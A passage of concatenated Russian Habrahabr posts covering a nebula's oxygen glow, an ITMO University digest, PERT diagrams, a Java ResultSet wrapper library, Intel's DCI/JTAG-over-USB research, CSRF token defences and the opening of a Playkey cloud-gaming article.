сильные признаки кислорода. У кого-то их нет, как у туманности Кольцо (слева), а у кого-то они есть, как у туманности Гантель, справа, у которой есть смесь кислорода и водорода. Так что, увидев такое зелёное свечение, исходящее от объекта, выглядящего, как рассеянная звезда, вы будете знать, что это такое. Это не звезда, это кислород, сброшенный с внешних слоёв звезды, похожей на наше Солнце, и сжёгшей последнее своё горючее. Проникающий сквозь туманность ультрафиолет возбуждает электроны в атомах кислорода, и когда они возвращаются в обычное состояние, то испускают это зелёное свечение в процессе флюоресценции. Именно это мы и наблюдаем с расстояния в 160 000 световых лет. Наслаждайтесь ярким зелёным свечением, появившимся за пределами нашей галактики, и знайте, что когда-нибудь, в далёком будущем, наше Солнце будет выглядеть очень похоже. Зелёный цвет сразу выдаёт, что это не звезда; кислородное гало говорит о том, что когда-то это было звездой.
https://geektimes.ru/post/284202/
habrahabr
Итоги года: Большой предновогодний дайджест Университета ИТМО
['университет итмо', 'дайджест']
Накануне новогодних праздников мы решили поделиться с вами подборкой самых интересных материалов, которые вышли в блоге Университета ИТМО (и не только) в уходящем году: от научных публикаций до...
Накануне новогодних праздников мы решили поделиться с вами подборкой самых интересных материалов, которые вышли в блоге Университета ИТМО (и не только) в уходящем году: от научных публикаций до рассказов о предпринимателях и от робототехники до биоинформатики. Eduardo Zárate / Flickr / CC Программирование: олимпиады, наука, стартапы Как студенты становятся продвинутыми программистами Рассказ о том, как в Университете ИТМО ведется работа с одаренными студентами, какие методики, приемы и ресурсы полезно использовать, обучаясь на ИТ-специальности. Онлайн-трансляция ACM ICPC: Как это устроено Команды Университета ИТМО в разные годы неоднократно становились чемпионами престижной международной олимпиады по программированию ACM ICPC. Но мало кто знает, что с недавнего времени за видеотрансляцию чемпионата также отвечает команда Университета ИТМО (в данном случае — команда из директора, режиссера, программистов, видеоредакторов и аналитиков). В этом материале — рассказ о том, «из чего сделана» видеотрансляция ACM ICPC. Мультимедийная 3D реконструкция театральной постановки «Чайка» на сцене Александринского театра (17 октября 1896) Рассказ Дениса Столярова ( Denis_Stolyarov ), ведущего инженера Центра дизайна и мультимедиа Университета ИТМО и руководителя Video360Production об интересном проекте Университета и Лаборатории компьютерной графики и виртуальной реальности, который был проведен совместно с Александринским театром и Российским Государственным Институтом Сценических Искусств. Обработка «видео 360», очистка изображения: алгоритм и его реализация на C# Еще один интересный пост в блоге Дениса Столярова (@Denis_Stolyarov) о разработках, которые лежат в основе проекта «Видео 360». Как «моделируют будущее» в Университете ИТМО: от предсказания поведения толпы до анализа мнений в соцсетях Моделирование поведения людей в различных условиях и ситуациях, исследование распространения заболеваний, анализ сообщений в соцсетях — обо всем этом в рассказе о том, как работают ученые Института наукоемких технологий (НИИ НКТ) Университета ИТМО. Робототехника и квантовые коммуникации Как студенты Университета ИТМО создают роботов Рассказ о том, как работает Студенческое конструкторское бюро Robotics engineering department или RED, созданное в рамках кафедры СУиИ (Систем Управления и Информатики) Университета ИТМО. Как технологии меняют качество жизни: разработка «умных» протезов на базе Университета ИТМО Статья о компаниях и проектах, созданных студентами и выпускниками Университета ИТМО и направленных на то, чтобы облегчить жизнь больным и выздоравливающим, сделать протезирование «умнее» и дешевле. Движение робота к точке с заданными координатами Участники Студенческого конструкторского бюро кафедры СУиИ Университета ИТМО подробно рассказывают об одном из последних своих проектов на Lego NXT. Квантовые коммуникации: от НИР до технологического бизнеса Рассказ о разработках ООО «Квантовые коммуникации» — малого инновационного предприятия при Университете ИТМО: как фундаментальное исследование превратилось в проект первого в России опытного участка «гражданской» квантовой сети. Квантовая связь: перспективы О квантовых технологиях пишем не только мы: об отечественных и зарубежных разработках в области квантовых коммуникаций (в том числе и о работе Университета ИТМО) в блоге Yota. Дайджесты Здесь мы собрали самые интересные и полезные материалы о научной деятельности Университета, статьи и рассказы о мероприятиях и проектах, которые создаются в Университете ИТМО. Дайджест Университета ИТМО: #1 Oбразование и наука В этот дайджест попали научные журналы Университета ИТМО (материалы находятся в открытом доступе), а также открытые курсы Университета, записаться на которые может любой желающий (от курсов по программированию до программ по лазерным технологиям и физической оптике). Дайджест Университета ИТМО: #2 Научные разработки и видеосюжеты об ученых Эта подборка посвящена открытиям и разработкам ученых из нашего Университета (робототехника, квантовые коммуникации, системы моделирования поведения людей и т.д.). Дайджест Университета ИТМО: #3 Нейронные сети: интересные статьи из журналов Университета ИТМО Материал полностью посвящен нейронным сетям и публикациям ученых Университета ИТМО на эту тему. В подборке статьи про моделирование процессов человеческого мозга на основе искусственных нейросетей, публикации о различных сферах применения и типологии нейронных сетей и материалы о реализации механизмов творческого мышления искусственного интеллекта. Роботы и робототехника: Дайджест Университета ИТМО Дайджест также посвящен научным статьям, в разные годы вышедшим в Университете ИТМО, однако в данном случае все материалы объединяет тема робототехники: начиная от стабилизации двуногих роботов и заканчивая внедрением технологии дополненной реальности в пилотируемые космические комплексы. Дайджест Университета ИТМО: Резиденты наших акселераторов Эта подборка состоит из статей, интервью и публикаций в СМИ, посвященных резидентам акселерационных и инкубационных программ Университета ИТМО. Среди них проекты в сфере робототехники, медицинской диагностики, синтеза новых материалов и даже создания 3D-реплик картин. Дайджест Университета ИТМО: Подборка ресурсов по искусственному интеллекту В этот дайджест вошли самые интересные лекции, видео и тексты (на русском и английском языках), посвященные темам искусственного интеллекта, машинного обучения, нейронных сетей, нашего вероятного будущего «бок о бок» с ИИ и текущим возможностям применения разработок в этой сфере. Другие разработки Университета ИТМО ДНК, новые технологии и геном человека: Биоинформатика в Университете ИТМО Что такое биоинформатика, какие проекты в этой сфере развиваются в Университете ИТМО и что нужно знать и уметь начинающему исследователю в этой области. Лазеры для систем наведения и геодезии: Инновации от Университета ИТМО Материал о последних разработках Университета ИТМО в области световых технологий: лазеры для беспилотников, геодезии и строительства и другие направления, над которыми работает Центр лазерной физики Университета. Разработки Университета ИТМО: Управление дронами на основе блокчейн Рассказ о том, как проект «Дрон-сотрудник», реализованный в Университете ИТМО, использует технологию блокчейн для управления БПЛА. Как защитить умный дом: Решение от команды Университета ИТМО Проект «Безопасный умный дом» кафедры Безопасных информационных технологий Университета ИТМО, позволяющий серьезно снизить применимость наиболее часто встречающихся атак на системы умного дома. Машинное обучение, глубокое обучение, работа с данными Глубокое обучение: Немного теории Рассказ о том, что такое глубокое обучение и как работают основные методы, использующиеся в этой сфере. Работа с данными: Новая наука Статья о том, как современные ученые реализуют нетривиальные подходы к работе с данными в своих проектах и экспериментах. Машинное обучение: Вопросы и ответы Наиболее интересные вопросы и ответы по теме машинного обучения на ресурсе Quora: сколько алгоритмов использует Netflix, какие алгоритмы должен знать каждый, кто исследует данные, почему в этой сфере так мало старапов и многое другое. Подборка: Более 70 источников по машинному обучению для начинающих Статьи, курсы, книги, пакеты и инструменты, чаты и обсуждения — все, что может понадобиться тем, кто заинтересовался темой машинного обучения. Список ресурсов по машинному обучению. Часть 1 Подборка полезных материалов, обсуждавшихся на Stack Overflow и Stack Exchange, по теме машинного обучения: логистическая регрессия, нейронные сети прямого распределения, обработка естественного языка, метод опорных векторов и многое другое. Список ресурсов по машинному обучению. Часть 2 Вторая часть большой подборки: фреймворки, треды на Quora, интересные презентации, интервью и другие материалы по теме. Занимательная наука «Ловушки сознания»: Как исследователи обманывают себя Рассказ о том, почему ученые часто не могут повторить результаты собственных экспериментов и как научное сообщество борется с «ловушками», к которым бессознательно прибегают исследователи. Теория визуализации информации. Часть 1 Лонгрид о том, как можно визуализировать вероятности, смыслы и прочие темы и понятия, на первый взгляд очень плохо поддающиеся визуализации. Теория визуализации информации. Часть 2 (заключительная) Вторая часть рассказа: как визуализация энтропии и дробных битов может помочь лучше разбираться в теории информации. P.S. В этом году нам было очень приятно разделить награду за лучший корпоративный блог в рубрике «IT-образование» с Mail.Ru Group. Спасибо, Хабр! Будем стараться радовать вас полезными материалами и в новом году.
https://habrahabr.ru/company/spbifmo/blog/318728/
habrahabr
Как довести проект до ума с помощью PERT-диаграмм
['project management']
Если вы читаете этот материал – на это, вероятно, есть две причины: — Вы ищете оптимальное решение управления проектом, который нужно завершить к определенному сроку. — Вы ищете определение...
Если вы читаете этот материал – на это, вероятно, есть две причины: — Вы ищете оптимальное решение управления проектом, который нужно завершить к определенному сроку. — Вы ищете определение аббревиатуры PERT. В любом случае, вы находитесь в правильном месте. Мы хотим поделиться основными преимуществами техники оценки и анализа проектов и выяснить, что же из себя представляет PERT. Что такое техника оценки и анализа проектов PERT? Диаграмма PERT — это многоцелевой инструмент в управлении проектами, который графически отображает сроки и ход задач проекта. PERT (от англ. Program Evaluation Review Technique) — техника, которая помогает определить и проанализировать задачи и цели. Многие компании по всему миру используют эту технику управления временем, чтобы ускорить и улучшить свои бизнес-процессы. Формула диаграммы PERT была разработана и описана в 1958 году по заказу подразделения специальных проектов ВМС США для проекта создания ракетной системы. Эти диаграммы состоят из кругов или прямоугольников (узлов), которые представляют собой ключевые вехи в рамках проекта. Линии или векторы, которые определяют различные задачи соединяют узлы. Когда стрелка рисуется от задачи А к задаче B, то это означает, что задача А должна быть обязательно завершена до начала задачи B. Вы можете создать параллельные задачи, которые могут быть расположены на той же стадии, но на разных линиях задач. Они не должны зависеть друг от друга. Элементы техники оценки и анализа проектов PERT Диаграмма представляет события, которые должны быть реализованы в рамках хода проекта. Стрелки показывают направления и указывают на потоки событий, которые должны произойти. Пунктирные линии представляют собой фиктивные активности, которые являются элементами, расположенными на другом пути. Номера, присвоенные каждой задаче, регулируют их. Как правило, диаграмма содержит горизонтальный график с подразделениями (дни или недели). Последовательные шаги по созданию диаграммы PERT Составьте список уровней и этапов проекта, определите время, необходимое для завершения каждого события. Добавьте зависимости для создания связи между событиями. Линии покажут время, которое занимает каждое событие. Каждая линия на диаграмме должна прийти к шагу, который связан с завершением события. Диаграмма также отображает критический путь с последовательностями задач, которыми необходимо тщательно управлять, чтобы закончить все цели вовремя. Примеры и шаблоны техники PERT Чтобы понять, как это работает, вы можете выбрать любой шаблон диаграммы техники оценки и анализа и рассмотреть ваш случай на нем. Например — шаблон, созданный с помощью программы Edraw Max: Здесь можно создавать четкие графики, используя встроенные элементы символов. Этот шаблон состоит из легенды, двух форм задач, соединителей и выводов. Вот пример иллюстрации диаграммы, составленной по технологии PERT, который демонстрирует как с помощью диаграммы разбить сад: 3 программы для создания диаграмм в технике оценки и анализа PERT Мы подобрали примеры трех инструментов, которые помогут построить PERT-даиаграммы. SmartDraw В программе можно найти полный набор функций и вариантов дизайна для реализации ваших задач. Она подходит для Windows, Mac и Android и позволяет использовать десятки шаблонов PERT-диаграмм для выполнения общих задач. Вы можете выбрать один из примеров, схожих с вашим проектом и адаптировать его. Lucidchart Lucidchart также доступна на Mac или Windows. Сервис предлагает неограниченный выбор настроек и мощных возможностей использования. Здесь вы можете найти развернутое описание PERT-диаграмм и библиотеку Lucidchart для работы с техникой оценки и анализа проектов. Edraw max В этой программе также легко создать профессиональную диаграмму PERT. С помощью удобных инструментов сервиса можно создать онлайн-диаграммы для задач, графики работы, метод критического пути, работать с иерархией задач по структуре WBS, и др. Проектные графики PERT: плюсы и минусы Преимущества графиков PERT очевидны, но менеджеры проектов должны также обратить внимание на некоторые недостатки, которые могут стать препятствием для реализации проектов. Преимущества технологии PERT для менеджеров проектов: С помощью диаграмм, менеджеры проектов могут оценивать и анализировать время и ресурсы, необходимые для проекта. Диаграммы дают возможность отслеживания и управления активами, необходимыми на любой стадии производства. Анализ графиков содержит данные и информацию из различных департаментов. Это помогает оптимизировать коммуникации во время хода проекта, определить ответственные стороны в рамках компании и распределить ответственность. Техника помогает менеджерам сделать анализ «что-если». Такой анализ выявляет возможности и неопределенные моменты, связанные с проектом и помогает свести к минимуму неприятные сюрпризы и утраты. «Что-если» также выдвигает на первый план все рискованные события и этапы, которые требуют тщательного анализа и мониторинга в ходе реализации проекта. Вот, к примеру, преимущественные отличия PERT от метода критического пути CPM: Некоторые недостатки PERT: Метод PERT требует расположения активностей во временной последовательности. Процесс анализа носит субъективный характер, именно поэтому эти схемы не могут точно оценить стоимость и время. Технология определяет потребности в рабочей силе и материально-техническом оснащении для видов активностей в проекте. Тем не менее, PERT — это прежде всего метод, сфокусированный на работе с временем. Метод требует детального исследования и изучения замечаний от многих людей. PERT считается достаточно дорогой техникой из-за трудоемкого характера работ. Отличия диаграмм PERT от диаграмм Ганта Графики и диаграммы, специальные программы и приложения – это только лишь инструменты, которые помогают вам управлять своими проектами и делать их лучше. Но вы должны всегда быть готовыми применить актуальные и новые варианты для достижения максимальных результатов. Диаграммы Ганта и диаграммы PERT являются полезными инструментами для визуализации целей и задач. Обе структуры могут быть созданы с помощью программных приложений. Выбор за вами, многое зависит от специфики проекта. Основное отличие этих инструментов – в способе демонстрации и отображения информации. Управление проектами с диаграммами Ганта основано на формате гистограмм. Это помогает отслеживать процент работ, выполненных по каждой задаче. PERT предлагает сетевую модель. Руководителям проектов очень важно правильно распределить задачи и быть уверенными в том, что проект будет завершен к сроку. Основное внимание диаграмм Ганта сосредоточенно на процентном завершении каждой задачи. Техника PERT не предоставляет такие данные. По этому показателю, Gantt-диаграммы выглядят более убедительными. Кроме того, диаграммы Ганта предпочтительнее для проектов с небольшим количеством взаимосвязанных задач. Резюмируя все вышесказанное, хотим отметить что диаграммы, составленные по технологии оценки и анализа проектов PERT могут стать эффективным инструментом в вашей деятельности. Лучше всего сравнить их с более популярными диаграммами Ганта и выбрать для своих проектов лучший вариант.
https://habrahabr.ru/post/318738/
habrahabr
Велосипед для извлечения данных
['Java', 'SQL', 'ResultSet', 'CleanCode', 'чистый код', 'JDBC', 'vaadin']
Каждому кто занимается промышленной разработкой кровавым энтерпрайзом не раз приходилось сталкиваться с написанием слоя работы с базой данных. С этим столкнулись и мы. Наш проект построен на...
Каждому кто занимается промышленной разработкой кровавым энтерпрайзом не раз приходилось сталкиваться с написанием слоя работы с базой данных. С этим столкнулись и мы. Наш проект построен на финском фреймворке Vaadin и чистым JDBC в основе слоя работы с базой данных. Без опыта работы с JDBC мы нагородили достаточно большой слой спагетти кода, а потом доблестно с ним разобрались. О том как мы с этим боролись и какой велосипед изобрели под катом. Что привело к такому решению В Vaadin отображать данные в UI компоненты можно с помощью BeanItem Container , можно почитать здесь. Коротко о предметной области Некоторое количество сущностей, которые показываются пользователю и пользователь должен их редактировать: удалять, изменять, добавлять. Сущности описывались с помощью спецификации Bean : public class Element implements Serializable{ private Integer id = 0; private String name = ""; private Float price = 0.0F; // getter and setter for property } Контейнер для такого элемента создается просто: BeanItemContainer<Element> container = new BeanItemContainer<>(Element.class); И дальше этот контейнер подставляется в UI с помощью методов setContainerDataSource(...) . Чтобы получить этот контейнер, его нужно предварительно разобрать на экземпляры класса Element из ResultSet полученного с помощью запроса к базе данных. Изначально решение получилось такого вида: public Element(ResutlSet rs){ try { id = rs.getInt("id"); }catch(SqlException e){ id = 0; e.printStackTrace(); } try { name = rs.getString("name"); }catch(SqlException e){ name = ""; e.printStackTrace(); } try { price = rs.getFloat("price"); }catch(SqlException e){ price = 0.0f; e.printStackTrace(); } } И тут на меня должны быть направлены гневные взгляды гуру Java и карма полететь в минусы. Но концепция такая: если во время разбора данных из ResultSet поле вызвало ошибку, то система не должна вывалиться с Exception и продолжить работать и записать логи ошибок (запись логов здесь и дальше описывать не будет тема для отдельной статьи). Но признаюсь такой код ужасный, а после прочтения небезызвестной книги дядюшки Боба, появилось непреодолимое желание исправить этот код. В результате написали библиотеку, которая берет на себя получение данных из ResultSet . Реализация Используя паттерн Декоратор создали маленькую библиотеку Executor . Эта библиотека расширяет функционал ResultSet , добавляя безопасные методы для получения данных. public Integer getInt(String columnName) { Integer i = 0; try { i = rs.getInt(columnName); } catch (SQLException ignored) { } return i; } public Integer getIntNull(String columnName) { Integer i = 0; try { i = rs.getInt(columnName); if (rs.wasNull()) return null; } catch (SQLException ignored) { } return i; } public String getString(String columnName) { String s = ""; try { s = rs.getString(columnName); if (s == null) return ""; } catch (SQLException ignored) { } return s; } Таким образом 100% гарантия получения результата и работа без Exception при обработке данных, которые в Vaadin выглядят чуть-чуть пугающе. На вопрос, а если нужен Exception , ответ: в планах добавить конструктор для Executor с типом вызываемого Exception , потому что простой SqlExecption не информативен, и реализовать методы для корректной работы. Планируется API следующего вида ( UPD: внесены предложения из комментария ): public Executor(ResultSet rs, Class<? extends RuntimeException> exceptionClass){ this.rs = rs; this.exceptionClass = exceptionClass; } public Integer getIntThrow(String columnName) { Integer i = 0; try { i = rs.getInt(columnName); if (rs.wasNull()) return null; } catch (SQLException ex) { throw exceptionClass.newInstance(); } return i; } И вариант использования public Element(ResutlSet rs){ Executor ex = new Executor(rs, CreateElementException.class); id = ex.getIntThrow("id"); name = ex.getStringThrow("name"); price = ex.getFloatThrow("price"); } private class CreateElementException extends RuntimeException{ private String message = ""; public CreateElementException(String message){ this.message = message; } @Override public String getMessage(){ return "Exception with access to column with name " + this.message; } } Примеры использования Что получается с кодом, после использования данной библиотеки. Конструктор для класса Element изменился на следующий: public Element(ResutlSet rs){ Executor ex = new Executor(rs); id = ex.getInt("id"); name = ex.getString("name"); price = ex.getFloat("price"); } В результате: кода стало меньше. уменьшение объемов кодовой базы, при наличие большого количества классов описывающих сущности. код становится понятнее для восприятия и места для возникновения ошибок становится меньше. проще писать тесты. появление дополнительной библиотеки в зависимостях. Заключение Сделан еще один велосипед велосипеды нужно тоже уметь делать , который обеспечивает универсальный и безопасный доступ к получению данных из БД. Люди желающие воспользоваться библиотекой исходники добро пожаловать на GitHub . Хотелось бы получить оценку решения велосипеда и конструктивных предложений и замечаний.
https://habrahabr.ru/post/318740/
habrahabr
Отладочный механизм в процессорах Intel позволяет захватывать их через USB-порт
['Intel', 'usb 3.0', 'трояны']
Современные процессоры Intel позволяют использовать отладочный интерфейс через доступный на многих платформах порт USB 3.0 для получения полного контроля над системой, что дает возможность...
Современные процессоры Intel позволяют использовать отладочный интерфейс через доступный на многих платформах порт USB 3.0 для получения полного контроля над системой, что дает возможность проводить атаки, которые не отслеживаются современными системами безопасности. Доклад об этих механизмах, а также о способах защиты от подобных атак, был представлен экспертами Positive Technologies 28 декабря на конференции Chaos Communication Congress (33C3) в Гамбурге. В чем проблема Эксперты Максим Горячий и Марк Ермолов в своем докладе отметили, что зачастую подобные аппаратные механизмы используются как вполне легальные инструменты, которые внедряются еще на стадии производства − например, специальные отладочные возможности, оставленные разработчиками для настройки аппаратуры и других «благих целей». Однако сейчас такие механизмы оказываются доступны и для злоумышленников, причем цена вопроса настолько низка, что для организации подобных атак уже не нужно быть государственной спецслужбой и иметь специальное оборудование. Один из таких механизмов был подробно проанализирован и показан в исследовании. В качестве опасной возможности, оставленной производителем, здесь фигурирует отладочный интерфейс JTAG (Joint Test Action Group), доступ к которому теперь открыт через USB-интерфейс. Данный способ доступа к процессору работает «ниже» всего программного обеспечения, позволяя осуществлять аппаратную отладку гипервизоров, ядра ОС и драйверов. Однако тот же механизм может использоваться и для несанкционированных вторжений. В старых процессорах Intel доступ к JTAG требовал подключения специализированного устройства через отладочный разъем на некоторых системных платах (ITP-XDP). Это усложняло доступ к данной технологии, в том числе, и для злоумышленников. Однако, начиная с процессоров семейства Skylake, запущенных в производство в 2015 году, компания Intel внедрила технологию Direct Connect Interface (DCI), которая предоставляет доступ к JTAG через популярный порт USB 3.0. При этом на целевом компьютере не требуется каких-либо программных или аппаратных агентов − необходимо лишь, чтобы интерфейс DCI был активирован. Как выяснили исследователи, это можно сделать несколькими способами, и на множестве современных компьютеров этот функционал оказался доступен буквально «из коробки» − то есть по умолчанию возможность активации DCI не заблокирована. Ниже представлены слайды презентации (также доступны по ссылке ): Демонстрация В докладе также был представлен видеоролик, показывающий, насколько легко злоумышленники могут получить полный доступ к процессору с помощью такого механизма. По мнению исследователей, данный механизм в процессорах Intel может привести к целому классу новых атак типа «Bad USB» – но уровень проникновения будет гораздо глубже. В заключение доклада эксперты предложили ряд способов защиты от данной угрозы, которые основаны на использовании BootGuard и запрете активации отладочного интерфейса. Видео выступления: Описания атак с применением особенностей работы отладочного механизма процессоров были переданы Intel, однако официального ответа исследователи пока не получили.
https://habrahabr.ru/company/pt/blog/318744/
habrahabr
Методы защиты от CSRF-атаки
['csrf', 'безопасность веб-приложений']
Что такое CSRF атака? Ознакомиться с самой идеей атаки CSRF можно на классических ресурсах: OWASP Acunetix Отличный ответ на SO Выдержка из ответа на SO: Причина CSRF кроется в том, что...
Что такое CSRF атака? Ознакомиться с самой идеей атаки CSRF можно на классических ресурсах: OWASP Acunetix Отличный ответ на SO Выдержка из ответа на SO: Причина CSRF кроется в том, что браузеры не понимают, как различить, было ли действие явно совершено пользователем ( как, скажем, нажатие кнопки на форме или переход по ссылке ) или пользователь неумышленно выполнил это действие ( например, при посещении bad.com , ресурсом был отправлен запрос на good.com/some_action , в то время как пользователь уже был залогинен на good.com ). Как от нее защититься? Эффективным и общепринятым на сегодня способом защиты от CSRF-Атаки является токен . Под токеном имеется в виду случайный набор байт, который сервер передает клиенту, а клиент возвращает серверу. Защита сводится к проверке токена, который сгенерировал сервер, и токена, который прислал пользователь. А что, собственно, защищать? Если вы пишете свой Web-Сервис в соотвествии со стандартом RFC7231 , то методы GET , HEAD , OPTIONS и TRACE являются безопасными: они предназначены только для получения информации и не должны изменять состояние сервера. Таким образом, защищать необходимо небезопасные методы, к которым относятся: POST , PUT , DELETE , PATCH . На Habrahabr опубликована статья от Yandex, в которой описано, почему писать свои сервисы нужно, руководствуясь стандартом . Требования к токену: Уникальный токен для каждой операции Действует единожды Имеет размер, устойчивый к подбору Сгенерирован криптографически стойким генератором псевдослучайных чисел Имеет ограниченное время жизни На первом MeetUp'е PDUG Тимур Юнусов ( руководитель отдела безопасности банковских систем Positive Technologies ) рассказывал , почему именно такие требования предъявляются к CSRF-Токену и чем грозит пренебрежение ими. Требования к Web-Сервису и окружению: Отсутствие XSS уязвимостей Внедренный злоумышленником скрипт имеет возможность отправлять запрос к серверу от имени пользователя и читать его без каких-либо препятствий. Таким образом, XSS уязвимости могут быть использованы для получения текущего токена. Отсутствие malware на машине клиента Если злоумышленник имеет возможность запускать софт на машине клиента, то он может получить любые данные, имеющиеся в браузере. Методы защиты Существует 3 метода использования токенов для защиты web-сервисов от CSRF атак: Synchronizer Tokens ( Statefull ) Double Submit Cookie ( Stateless ) Encrypted Token ( Stateless ) Synchronizer Tokens Простой подход, использующийся повсеместно. Требует хранения токена на стороне сервера. Суть: При старте сессии на стороне сервера генерируется токен. Токен кладется в хранилище данных сессии ( т.е. сохраняется на стороне сервера для последующей проверки ) В ответ на запрос ( который стартовал сессию ) клиенту возвращается токен. Если рендеринг происходит на сервере , то токен может возвращаться внутри HTML, как, например, одно из полей формы, или внутри <meta> тега. В случае, если ответ возвращается для JS приложения , токен можно передавать в header ( часто для этого используют X-CSRF-Token ) При последующих запросах клиент обязан передать токен серверу для проверки. При рендере контента сервером токен принято возвращать внутри POST данных формы. JS приложения обычно присылают XHR запросы с header ( X-CSRF-Token ), содержащим токен. При получения запроса небезопасным методом ( POST , PUT , DELETE , PATCH ) сервер обязан проверить на идентичность токен из данных сессии и токен, который прислал клиент . Если оба токена совпадают, то запрос не подвергся CSRF-Атаке, в ином случае — логируем событие и отклоняем запрос. На выходе имеем: Защита от CSRF на хорошем уровне Токен обновляется только при пересоздании сессии , а это происходит, когда сессия истекает Во время жизни одной сессии все действия будут проверяться по одному токену . Если произойдет утечка токена, то злоумышленник сможет выполнить CSRF-Атаку на любой запрос и в течение долгого срока . А это не есть хорошо. Бесплатная поддержка multi-tab в браузере. Токен не инвалидируется после выполнения запроса, что позволяет разработчику не заботиться о синхронизации токена в разных табах браузера, так как токен всегда один. Double Submit Cookie Этот подход не требует хранения данных на стороне сервера, а значит, является Stateless . Используется, если вы хотите уметь быстро и качественно масштабировать свой Web-сервис горизонтально. Идея в том, чтобы отдать токен клиенту двумя методами: в куках и в одном из параметров ответа ( header или внутри HTML ). Суть: При запросе от клиента на стороне сервера генерируется токен. В ответе токен возвращается в cookie (например, X-CSRF-Token ) и в одном из параметров ответа ( в header или внутри HTML ). В последующих запросах клиент обязан предоставлять оба полученных ранее токена. Один как cookie, другой либо как header , либо внутри POST данных формы. При получении запроса небезопасным методом ( POST , PUT , DELETE , PATCH ) сервер обязан проверить на идентичность токен из cookie и токен, который явно прислал клиент . Если оба токена совпадают, то запрос не подвергся CSRF-Атаке, в ином случае — логируем событие и отклоняем запрос. На выходе имеем: Stateless CSRF защиту. Необходимо учитывать, что поддомены могут читать cookie основного домена, если явно это не запрещать (т.е. если cookie установлена на .site.ru , то её могут прочитать как a.site.ru , так и b.site.ru ). Таким образом, если ваш сервис доступен на домене 3-го уровня, а злоумышленник имеет возможность зарегистрировать свой ресурс на вашем домене 2-го уровня, то устанавливайте cookie на свой домен явно. Нюансы зависят от реализации Encrypted Token Так же как и Double Submit, является Stateless подходом. Основная — если вы зашифруете надежным алгоритмом какие-то данные и передадите их клиенту, то клиент не сможет их подделать, не зная ключа. Этот подход не требует использования cookie. Токен передаётся клиенту только в параметрах ответа. В данном подходе токеном являются факты, зашифрованные ключом . Минимально необходимые факты — это идентификатор пользователя и timestamp времени генерации токена. Ключ не должен быть известен клиенту. Суть: При запросе от клиента на стороне сервера генерируется токен. Генерация токена состоит в зашифровке фактов, необходимых для валидации токена в дальнейшем. Минимально необходимые факты — это идентификатор пользователя и timestamp . В ответе токен возвращается в одном из параметров ответа ( В header или внутри HTML ). В последующих запросах клиент обязан предоставлять полученный ранее токен. При получения запроса небезопасным методом ( POST , PUT , DELETE , PATCH ) сервер обязан валидировать токен, полученный от клиента. Валидация токена заключается в его расшифровке и сравнения фактов, полученных после расшифровки, с реальными. (Проверка timestamp необходима для ограничения времени жизни токена) Если расшифровать не удалось либо факты не совпадают, считается, что запрос подвергся CSRF-Атаке. На выходе имеем: Stateless CSRF защиту Нет необходимости хранить данные в cookie Нет нюансов с поддоменами. О реализации Давайте генерировать новый токен на каждый запрос, не важно, каким HTTP-методом и с какой целью этот запрос сделан. Таким образом мы получаем токен, который меняется постоянно. Конечно, возникает вопрос организации multi-tab работы. Синхронизация токенов между табами может быть реализована с использованием localStorage и его StorageEvent Ограничиваем время жизни cookie, которое содержит токен, разумным значением. Например 30 минут. Делаем cookie недоступной из JS (ставим HTTPOnly=true ) Используем TLS для предотвращения MITM При этом отправляем cookie только по HTTPS (ставим Secure=true ) Размер токена не менее 32 байт . Генерируем токен криптографически стойким генератором псевдослучайных чисел. Для этого можно использовать системные функции: Linux => getrandom(2) если возможно, /dev/urandom иначе OpenBSD => getentropy(2) На других Unix-like системах => /dev/urandom Windows => CryptGenRandom API Что еще нужно знать? Токены — обязательная защита от CSRF. Проверяйте, но не полагайтесь только на X-Requested-With: XMLHttpRequest Проверяйте, но не полагайтесь только на заголовки: Host , Origin , Referer Не передавайте токены в URL Защищайте все запросы. Same Site Сейчас идет работа над спецификацией атрибута "Same-Site" у cookies (последняя версия на момент написания статьи ). Такой атрибут даст возможность разработчикам явно указывать, что cookie не нужно передавать, если запрос идет с сайта, отличного от того, на котором cookie была установлена. А, значит, у нас появится возможность защищать ресурсы от CSRF без использования дополнительных инструментов. Браузер Chrome уже сейчас поддерживает эту возможность. Чуть больше информации о том, как и почему доступно на Stack Exchange .
https://habrahabr.ru/post/318748/
habrahabr
Это вам не игрушки: как работает сервис облачного гейминга Playkey
['облачные сервисы', 'playkey', 'игры', 'gpu', 'серверное оборудование', 'железо и технологии']
Привет, Geektimes! Это первый пост от Playkey — первого и самого крупного российского сервиса облачного гейминга. Для игры на облачном игровом сервисе нужно высокоскоростное подключение к Интернету...
Привет, Geektimes! Это первый пост от Playkey — первого и самого крупного российского сервиса облачного гейминга. Для игры на облачном игровом сервисе нужно высокоскоростное подключение к Интернету и практически любое “железо”, как на Mac OS, так и на Windows. Снаружи смотрится сказкой: ПК десятилетней давности, а GTA V летает онлайн без тормозов. Но, если заглянуть внутрь, то запустить в “облаке” топовую игрушку и передать её в реальном времени пользователю, мгновенно реагировать на его действия — это чертовски непросто. Для нашей интро-публикации, мы решили пообщаться с техническим директором Playkey Алексеем Лыковым о том, как в принципе работает технология Playkey, как мы решаем проблему "последней мили" и боремся с высоким пингом. Поехали! (да ладно, кого мы обманываем, Алексей тут просто смотрит в монитор для кадра! В общем, познакомьтесь — Алексей Лыков) Как это работает Для пользователя работа Playkey выглядит просто: выбираешь игру в каталоге, нажимаешь играть — и получаешь в окне клиента живую картинку. С нашей стороны это все чуть-чуть сложнее. Это как “ездить на велосипеде, который горит, и ты горишь, и все горит, и ты в аду”. В основе сервиса Playkey — игровой сервер. Это виртуальная единица, которая обслуживает одного пользователя. На одном физическом сервере может запускаться десятки виртуальных, которые обслуживают уже отдельных пользователей. Сервис задуман приносить геймерам радость, а не боль и лагающую картинку. Поэтому наша задача — подстроиться под пользователей, оценив скорость и качество интернет соединения с их стороны, “железо”, собственные ресурсы, свободные слоты на сервере, доступность самой игры и мгновенно подстроиться под все эти условия. На этапе загрузки игры через Playkey в первую очередь проверяется пинг к ближайшим серверам и наличие выбранной игры на конкретном сервере. Понятное дело, никто не вспоминает, что эту игры мы уже скачали сами и установили на серверный SSD. Пункт проверки актуален не для всех игр, потому как самые популярные тайтлы вроде GTA 5 разлиты на все сервера разом. Что происходит, если загрузка сервиса близка к критической и остаются только дальние сервера с высоким пингом? Игрок встает в очередь на запуск. Ждать приходится недолго, минуты 3-4, но, к счастью, в последнее время такие эпизоды возникают совсем редко и только в самые пиковые моменты. Мы понимаем, что лагающая картинка — это ситуация куда хуже, чем необходимость подождать пару минут, поэтому выбрали именно такой сценарий. Это всё вы виноваты: разбираем сложности на стороне пользователя Главный и первый вопрос, который задают о Playkey — пинг. Сегодня мы можем однозначно сказать, что для крупных российских городов мы добились отличного значения: при игре по кабелю можно 